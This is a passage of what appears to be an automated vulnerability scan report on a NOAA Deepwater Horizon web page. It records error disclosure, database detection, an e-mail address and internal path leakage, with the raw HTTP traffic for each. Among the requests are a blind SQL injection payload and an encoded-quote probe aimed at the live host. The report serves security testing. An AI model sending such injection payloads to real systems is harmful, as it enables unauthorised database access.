ff2':is('firefox/3.5')?g+' ff3 ff3_5':is('firefox/3')?g+' ff3':is('gecko/')?g:is('opera')?o+(/version\/(\d+)/.test(ua)?' '+o+RegExp.$1:(/opera(\s|\/)(\d+)/.test(ua)?' '+o+RegExp.$2:'')):is('konqueror')?'konqueror':is('chrome')?w+' chrome':is('iron')?w+' iron':is('applewebkit/')?w+' '+s+(/version\/(\d+)/.test(ua)?' '+s+RegExp.$1:''):is('mozilla/')?g:'',is('j2me')?'mobile':is('iphone')?'iphone':is('ipod')?'ipod':is('mac')?'mac':is('darwin')?'mac':is('webtv')?'webtv':is('win')?'win':is('freebsd')?'freebsd':(is('x11')||is('linux'))?'linux':'','js']; c = b.join(' '); h.className += ' '+c; return c;}; css_browser_selector(navigator.userAgent); </script> </head> <body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5"> <table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%"> <!-- include the banner which inserts a tr / td / table / tr / td / here holding the banner --> <tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><a href="index.php" target="_self"><img src="art_gallery/banners/banner_dwh.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></a></td>
</tr>
<tr>
<td class="search_bar"><form action="orr_search.php" method="get" name="quick_search" target="_self"> <label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go"></form></td>
</tr>
</table>
</td>
</tr> <!-- this next tr is the start of the row containing the table containing the left menu, central panel and right sidebar --> <tr height="100%"> <td align="left" valign="top" height="100%"> <table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%"> <tr height="100%"> <!-- this td is the start of the left menu column --> <td align="left" valign="top" bgcolor="#ebebeb" width="162" height="100%"> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <tr height="115"> <td align="right" valign="top" height="115"> <table width="150" border="0" cellspacing="2" cellpadding="2"> <!-- tiny icon menu with topic chosen --> <tr> <td><img src='/art_gallery/icons/icon_emergency.jpg' alt='Emergency Response'></td> </tr> </table> <table width="150" border="0" cellspacing="2" cellpadding="2"> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'><strong><font color='black'>Emergency Response</font></strong></a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'>Pollutants in the Environment</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'>Serving Communities</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'>Natural Resource Restoration</a> </td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <!-- target audience menu --> <caption> <div align="left"> <span class="sidebar_titles">Information for:</span></div> </caption> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1' target="_self">Emergency Responders</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2' target="_self">Students and Teachers</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4' target="_self">Interested Public</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5' target="_self">Research Institutions</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6' target="_self">Other Agencies</a></td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&amp;R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self">Document Accessibility</a></td>
</tr>
</table> </td> </tr> </table> <!-- this td is the end of the left menu column --> </td> <!-- the next td starts the central panel --> <td align="left" valign="top" width="100%" height="100%"> <table summary="for page layout only" border="0" cellspacing="0" cellpadding="6"> <tr> <td align="left" valign="top" colspan='2'> <table border="0" cellspacing="0" cellpadding="0"> <!-- special deepwater horizon under banner --> <tr> <td><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="deepwaterhorizon" target="_self"><img src="art_gallery/banners/banner_dwh_under.jpg" alt="introductory text" name="special under banner" border="0"></a></td> </tr> </table> </td> </tr> <tr><td colspan='2'><table border='0' cellspacing='0' cellpadding='0' align='center'><tr><td class='entrygroup_table'><a href='dwh.php?entry_id=809' target='_self'>Latest News</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=811' target='_self'>NOAA Roles</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=814' target='_self'>NOAA People</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=819' target='_self'>External Affairs</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=812' target='_self'><strong>Factsheets Publications</strong></a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=820' target='_self'>Press Releases</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=813' target='_self'>Multimedia</a></td></tr></table></td></tr> <tr> <!-- this td tag contains the center content area of the page --> <td align="left" valign="top"> <!-- this next table holds the right side column of the page --> <!-- show the ordinary side bar --> <table summary="for page layout only" align="right" valign="top" border="0" cellspacing="2" cellpadding="2"> <tr> <td align="center" valign="middle"> <!-- sidebar link box 1 --> <table class="sidebar_table" width="158" border="0" cellspacing="4" cellpadding="8"> <tr> <td> <span class="sidebar_titles">For more information</span><br> </td> </tr> <tr> <td class="sidebar_cell"> <a href='/deepwaterhorizon/informationresources' target="_self"><span class="link_title">Information Resources</span></a><br> <span class="link_notes">A collection of links to other web sites with Deepwater Horizon information.</span> <span class="link_info"></span> </td> </tr> </table> <!-- sidebar resource box 1 --> <!-- sidebar link box 2 --> <!-- sidebar resource box 2 --> <!-- sidebar link box 3 --> <!-- sidebar resource box 3 --> <!-- sidebar link box 4 --> <!-- sidebar resource box 4 --> <!-- sidebar link box 5 --> <!-- sidebar resource box 5 --> <!-- sidebar resource box 6 --> <!-- sidebar photo gallery box --> <!-- sidebar faq box --> <!-- sidebar nav link box --> </td> </tr> </table> <p><span class="feature_title">Publications, Factsheets and One-Pagers</span></p> <p> <!-- title / graphic / text block 1 --> </p> <p><span class="feature_title"></span></p> <p>Download more detailed documents with background and technical information.
<P><ul><li><a href="#currentmaps">Cumulative Trajectory Maps</a><BR>
<li><a ..
Programming Error Message

Programming Error Message

1 TOTAL
LOW
Netsparker identified a programming error message.

Impact

The error message may disclose sensitive information and this information can be used by an attacker to mount new attacks or to enlarge the attack surface. Source code, stack trace, etc. type data may be disclosed. Most of these issues will be identified and reported separately by Netsparker.

Remedy

Do not provide error messages on production environments. Save error messages with a reference number to a backend storage such as a log, text file or database then show this number and a static user-friendly error message to the user.
- /dwh.php

/dwh.php

http://response.restoration.noaa.gov/dwh.php?entry_id=%2527

Parameters

Parameter Type Value
entry_id GET %27

Identified Error Message

<b>Fatal error</b>: Call to a member function Value() on a non-object in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/dwh.php</b> on line <b>25</b>

Request

GET /dwh.php?entry_id=%2527 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=2a42e12b57ffd03c66d85413ed466c22
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:44:54 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 290
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <br /><b>Fatal error</b>: Call to a member function Value() on a non-object in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/dwh.php</b> on line <b>25</b><br />
MySQL Database Identified

MySQL Database Identified

1 TOTAL
INFORMATION
CONFIRMED
1
Netsparker identified that the target web site is using a MySQL Server. This is generally not a security issue and is reported here for information purposes.

Impact

This issue is reported as additional information only, there is no direct impact arising from this issue.
- /dwh.php

/dwh.php CONFIRMED

http://response.restoration.noaa.gov/dwh.php?entry_id=-1%20OR%201=1%20AND%201=(SELECT%20IF((IFNULL(A..

Request

GET /dwh.php?entry_id=-1%20OR%201=1%20AND%201=(SELECT%20IF((IFNULL(ASCII(SUBSTRING((SELECT%20CONCAT(CHAR(78),CHAR(69),CHAR(84),CHAR(83),CHAR(80),CHAR(65),CHAR(82),CHAR(75),CHAR(69),CHAR(82))),5,1)),0)=88),1,2)) HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=2a42e12b57ffd03c66d85413ed466c22
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:45:13 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 296
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <br /><b>Fatal error</b>: Call to a member function Value() on a non-object in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/dwh.php</b> on line <b>267</b><br />
E-mail Address Disclosure

E-mail Address Disclosure

1 TOTAL
INFORMATION
Netsparker found e-mail addresses on the web site.

Impact

E-mail addresses discovered within the application can be used by both spam email engines and also brute force tools. Furthermore valid email addresses may lead to social engineering attacks .

Remedy

Use generic email addresses such as contact@ or info@ for general communications, remove user/people specific e-mail addresses from the web site, should this be required use submission forms for this purpose.

External References

- /dwh.php

/dwh.php

http://response.restoration.noaa.gov/dwh.php?entry_id=812

Found E-mails

orr.webmaster@noaa.gov

Request

GET /dwh.php?entry_id=812 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:44:50 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Set-Cookie: PHPSESSID=2a42e12b57ffd03c66d85413ed466c22; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 8646
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <title>Publications, Factsheets and One-Pagers | Recent and Historical Incidents | Emergency Response | NOAA's National Ocean Service Office of Response and Restoration</title> <meta name="robots" content="noindex,nofollow,noarchive"> <meta name="keywords" content="Deepwater Horizon oil rig fire, Deepwater Horizon oil well fire, MODU, Mississippi Canyon 252, Louisiana, Mississippi"> <link href="orr.main.css" rel="stylesheet" media="screen, print"> <style type="text/css"> .ie .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .ie7 .no_overlap {float: none; clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .win.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .webkit .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .linux.gecko .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .konqueror .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .no_overlap {clear: none; padding-right: 6px; padding-left: 6px; padding-bottom: 6px } .graphic_cell_padding { padding-right: 6px; padding-left: 6px; padding-bottom: 6px } </style> <script type="text/javascript" charset="utf-8"> /* CSS Browser Selector v0.3.5 (Feb 05, 2010) Rafael Lima (http://rafael.adm.br) http://rafael.adm.br/css_browser_selector License: http://creativecommons.org/licenses/by/2.5/ Contributors: http://rafael.adm.br/css_browser_selector#contributors */ function css_browser_selector(u){var ua = u.toLowerCase(),is=function(t){return ua.indexOf(t)>-1;},g='gecko',w='webkit',s='safari',o='opera',h=document.documentElement,b=[(!(/opera|webtv/i.test(ua))&&/msie\s(\d)/.test(ua))?('ie ie'+RegExp.$1):is('firefox/2')?g+' ff2':is('firefox/3.5')?g+' ff3 ff3_5':is('firefox/3')?g+' ff3':is('gecko/')?g:is('opera')?o+(/version\/(\d+)/.test(ua)?' '+o+RegExp.$1:(/opera(\s|\/)(\d+)/.test(ua)?' '+o+RegExp.$2:'')):is('konqueror')?'konqueror':is('chrome')?w+' chrome':is('iron')?w+' iron':is('applewebkit/')?w+' '+s+(/version\/(\d+)/.test(ua)?' '+s+RegExp.$1:''):is('mozilla/')?g:'',is('j2me')?'mobile':is('iphone')?'iphone':is('ipod')?'ipod':is('mac')?'mac':is('darwin')?'mac':is('webtv')?'webtv':is('win')?'win':is('freebsd')?'freebsd':(is('x11')||is('linux'))?'linux':'','js']; c = b.join(' '); h.className += ' '+c; return c;}; css_browser_selector(navigator.userAgent); </script> </head> <body bgcolor="#ffffff" leftmargin="5" marginheight="5" marginwidth="5" topmargin="5"> <table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0" height="100%"> <!-- include the banner which inserts a tr / td / table / tr / td / here holding the banner --> <tr>
<td>
<table summary="for page layout only" width="741" border="0" cellspacing="0" cellpadding="0">
<tr height="109">
<td align="center" valign="middle" height="109"><a href="index.php" target="_self"><img src="art_gallery/banners/banner_dwh.jpg" alt="Office of Response and Restoration Web Banner" height="109" width="741" border="0"></a></td>
</tr>
<tr>
<td class="search_bar"><form action="orr_search.php" method="get" name="quick_search" target="_self"> <label for="Search"><span class="sidebar_titles">Search</span></label> <input type="text" name="keywords" id="Search" size="10"> <input type="submit" name="submit" value="Go"></form></td>
</tr>
</table>
</td>
</tr> <!-- this next tr is the start of the row containing the table containing the left menu, central panel and right sidebar --> <tr height="100%"> <td align="left" valign="top" height="100%"> <table summary="for page layout only" width="100%" border="0" cellspacing="0" cellpadding="8" height="100%"> <tr height="100%"> <!-- this td is the start of the left menu column --> <td align="left" valign="top" bgcolor="#ebebeb" width="162" height="100%"> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <tr height="115"> <td align="right" valign="top" height="115"> <table width="150" border="0" cellspacing="2" cellpadding="2"> <!-- tiny icon menu with topic chosen --> <tr> <td><img src='/art_gallery/icons/icon_emergency.jpg' alt='Emergency Response'></td> </tr> </table> <table width="150" border="0" cellspacing="2" cellpadding="2"> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=1'><strong><font color='black'>Emergency Response</font></strong></a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=2'>Pollutants in the Environment</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=3'>Serving Communities</a> </td> </tr> <tr> <td> <a href='topic_catalog.php?RECORD_KEY%28topics_chosen%29=topic_id&topic_id(topics_chosen)=4'>Natural Resource Restoration</a> </td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2"> <!-- target audience menu --> <caption> <div align="left"> <span class="sidebar_titles">Information for:</span></div> </caption> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=1' target="_self">Emergency Responders</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=2' target="_self">Students and Teachers</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=4' target="_self">Interested Public</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=5' target="_self">Research Institutions</a></td> </tr> <tr> <td><a href='audience_catalog.php?RECORD_KEY%28audience_chosen%29=audience_id&audience_id(audience_chosen)=6' target="_self">Other Agencies</a></td> </tr> </table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="../../current_news_topic.php" target="_self">Current News</a></td>
</tr>
<tr>
<td>
<a href="../../special_note_topic.php" target="_self">Special Note</a></td>
</tr>
<tr>
<td>
<a href="../../faq_catalog.php" target="_self">FAQs</a></td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table width="150" border="0" cellspacing="2" cellpadding="2">
<caption>
<div align="left">
<span class="sidebar_titles">Catalogs of:</span>
</div>
</caption>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=2' target="_self">Publications</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=3' target="_self">Software & Data Sets</a></td>
</tr>
<tr>
<td><a href='type_catalog.php?RECORD_KEY%28type_chosen%29=type_id&type_id(type_chosen)=4' target="_self">Web Portals</a></td>
</tr>
<tr>
<td> <a href="../../link_catalog.php" target="_self">Links</a>
</td>
</tr>
<tr>
<td> <a href="../../resource_catalog.php" target="_self">Downloads</a>
</td>
</tr>
<tr>
<td> <a href="../../gallery_catalog.php" target="_self">Image Galleries</a>
</td>
</tr>
<tr>
<td> <a href="../../av_catalog.php" target="_self">Abandoned Vessels</a>
</td>
</tr>
<tr>
<td> <a href="../../dc_catalog.php" target="_self">Drift Card Studies</a>
</td>
</tr>
</table> </td> </tr> <tr> <td> <hr size="4" width="150"> </td> </tr> <tr> <td> <table summary="for page layout only" width="150" border="0" cellspacing="2" cellpadding="2">
<tr>
<td>
<a href="orr_about.php" target="_self">About OR&amp;R</a>
</td>
</tr>
<tr>
<td>
<a href="orr_contact.php" target="_self">Contact Us</a>
</td>
</tr>
<tr>
<td>
<a href="orr_search.php" target="_self">Advanced Search</a>
</td>
</tr>
<tr>
<td>
<a href="orr_index_topic.php" target="_self">Site Index</a>
</td>
</tr>
<tr>
<td>
<a title="NOAA's Privacy Policies" href="http://www.noaa.gov/privacy.html" target="_blank">Privacy Policy</a></td>
</tr>
<tr>
<td>
<a title="Document Accessibility" href="audience_subtopic_entry.php?entry_id=748&subtopic_id=27&audience_id=4" target="_self">Document Accessibility</a></td>
</tr>
</table> </td> </tr> </table> <!-- this td is the end of the left menu column --> </td> <!-- the next td starts the central panel --> <td align="left" valign="top" width="100%" height="100%"> <table summary="for page layout only" border="0" cellspacing="0" cellpadding="6"> <tr> <td align="left" valign="top" colspan='2'> <table border="0" cellspacing="0" cellpadding="0"> <!-- special deepwater horizon under banner --> <tr> <td><a onmouseover="window.status='Go to the home page';return true" onmouseout="window.status='';return true" href="deepwaterhorizon" target="_self"><img src="art_gallery/banners/banner_dwh_under.jpg" alt="introductory text" name="special under banner" border="0"></a></td> </tr> </table> </td> </tr> <tr><td colspan='2'><table border='0' cellspacing='0' cellpadding='0' align='center'><tr><td class='entrygroup_table'><a href='dwh.php?entry_id=809' target='_self'>Latest News</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=811' target='_self'>NOAA Roles</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=814' target='_self'>NOAA People</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=819' target='_self'>External Affairs</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=812' target='_self'><strong>Factsheets Publications</strong></a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=820' target='_self'>Press Releases</a></td><td class='entrygroup_table'><a href='dwh.php?entry_id=813' target='_self'>Multimedia</a></td></tr></table></td></tr> <tr> <!-- this td tag contains the center content area of the page --> <td align="left" valign="top"> <!-- this next table holds the right side column of the page --> <!-- show the ordinary side bar --> <table summary="for page layout only" align="right" valign="top" border="0" cellspacing="2" cellpadding="2"> <tr> <td align="center" valign="middle"> <!-- sidebar link box 1 --> <table class="sidebar_table" width="158" border="0" cellspacing="4" cellpadding="8"> <tr> <td> <span class="sidebar_titles">For more information</span><br> </td> </tr> <tr> <td class="sidebar_cell"> <a href='/deepwaterhorizon/informationresources' target="_self"><span class="link_title">Information Resources</span></a><br> <span class="link_notes">A collection of links to other web sites with Deepwater Horizon information.</span> <span class="link_info"></span> </td> </tr> </table> <!-- sidebar resource box 1 --> <!-- sidebar link box 2 --> <!-- sidebar resource box 2 --> <!-- sidebar link box 3 --> <!-- sidebar resource box 3 --> <!-- sidebar link box 4 --> <!-- sidebar resource box 4 --> <!-- sidebar link box 5 --> <!-- sidebar resource box 5 --> <!-- sidebar resource box 6 --> <!-- sidebar photo gallery box --> <!-- sidebar faq box --> <!-- sidebar nav link box --> </td> </tr> </table> <p><span class="feature_title">Publications, Factsheets and One-Pagers</span></p> <p> <!-- title / graphic / text block 1 --> </p> <p><span class="feature_title"></span></p> <p>Download more detailed documents with background and technical information.
<P><ul><li><a href="#currentmaps">Cumulative Trajectory Maps</a><BR>
<li><a ..
[Possible] Internal Path Leakage (*nix)

[Possible] Internal Path Leakage (*nix)

1 TOTAL
INFORMATION
Netsparker identified an internal path in the document.

Impact

There is no direct impact however this information can help an attacker during the exploitation of some other vulnerabilities.

Remediation

External References

- /dwh.php

/dwh.php

http://response.restoration.noaa.gov/dwh.php?entry_id=%2527

Identified Internal Path(s)

/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/dwh.php

Request

GET /dwh.php?entry_id=%2527 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: response.restoration.noaa.gov
Cookie: PHPSESSID=2a42e12b57ffd03c66d85413ed466c22
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Sat, 26 Feb 2011 13:44:54 GMT
Server: Apache
X-Powered-By: PHP/5.2.6-1+lenny9
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding:
Content-Length: 290
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html lang="en"> <head> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"> <br /><b>Fatal error</b>: Call to a member function Value() on a non-object in <b>/mnt/disk3/sync/cluster/response.restoration.noaa.gov/publish/http/dwh.php</b> on line <b>25</b><br />